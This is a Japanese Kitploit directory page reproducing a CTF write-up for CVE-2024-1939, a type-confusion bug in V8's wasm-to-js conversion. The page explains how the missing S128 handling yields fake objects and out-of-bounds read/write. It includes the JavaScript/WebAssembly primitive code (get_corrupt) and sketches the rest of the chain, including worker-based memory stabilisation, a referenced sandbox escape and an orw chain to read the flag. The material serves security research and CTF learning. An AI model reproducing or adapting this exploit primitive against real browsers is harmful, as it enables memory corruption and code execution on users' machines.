Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-1939 — V8CTF M122 用 | Kitploit
ツール/GitHubGitHub/rycbar77/cve-2024-1939
脆弱性分析エクスプロイトウェブアプリケーション悪用CTF学習と教育バイナリエクスプロイト
GitHubrycbar77/cve-2024-1939

CVE-2024-1939

V8CTF M122 用

リポジトリを見る
1431年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-1939

これは、V8CTF M122を獲得するために使用したCVE-2024-1939に関する短い解説です。

この問題の根本原因は、wasm-to-js変換におけるkWasmS128のサポート欠如です。具体的には、パラメータスタックで発生するwasmS128Const操作が無視され、パラメータにExprRefが存在する場合に型混淆を引き起こします。

詳細には、これによりint/floatが直接オブジェクトに変換されます。そのため、任意の長さを持つ偽の配列を簡単に構築でき、OOB読み書きが可能になります。回避すべき障害がもう1つあります:wasmS128Constは、FPSlotに格納されるfloat型パラメータにのみ作用し、GPSlotに格納されるタグ付きパラメータには影響しません。StackSlotに方法があります。FP/GPレジスタにはサイズ制限があります。その後、パラメータは順番にStackSlotに格納されます。レジスタを埋めてStackSlotにfloat値を置くと、タグ付きパラメータがStackSlotから解析され、偽のオブジェクトが得られます。

最終的なexpには、簡潔さと速度のため、このwasmモジュールのビルダーは含めません。ここに添付します。

root@kitploit:~
function get_corrupt(addr) {
    var buf = new ArrayBuffer(8);
    var u32 = new Uint32Array(buf);
    var f64 = new Float64Array(buf);
    var u8 = new Uint8Array(buf);
    u32[0] = addr;
    u32[1] = 0;
    const builder = new WasmModuleBuilder();
    const typeId = builder.addType(makeSig([kWasmS128, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmF64, kWasmI64, kWasmI64, kWasmI64,kWasmI64,kWasmI64,kWasmI31Ref,kWasmFuncRef], []));
    const importId = builder.addImport('mod', 'foo', typeId);
    builder.addDeclarativeElementSegment([importId]);

    builder.addFunction('main', kSig_v_v)
        .addLocals(wasmRefType(kWasmI31Ref), 1)
        .addBody([
            ...wasmS128Const(0xdeadbeef, 0xdeadbeef),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(1.1),
            ...wasmF64Const(f64[0]),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            ...wasmI64Const(0xbbbbbbbb),
            
            ...wasmI32Const(0xaaaaaaaa),
            kGCPrefix, kExprRefI31, kExprLocalTee, 0,
            kExprRefFunc, importId,
            kExprRefFunc, importId,
            kExprCallRef, typeId,
        ]).exportFunc();
    const instance = builder.instantiate({ mod: { foo: ff } });
    let f = instance.exports.main
    f();
}
get_corrupt(addr);

メモリを安定させるためにワーカーが使用されています。ワーカースレッドではアドレスが比較的安定していることが確認されているためです。

サンドボックス回避については、V8-Sandbox-Escape-via-Regexp を参照してください。最終的なエクスプロイトは通常のorwチェーンを使用してstderr経由でフラグを書き出します。

ツールをダウンロード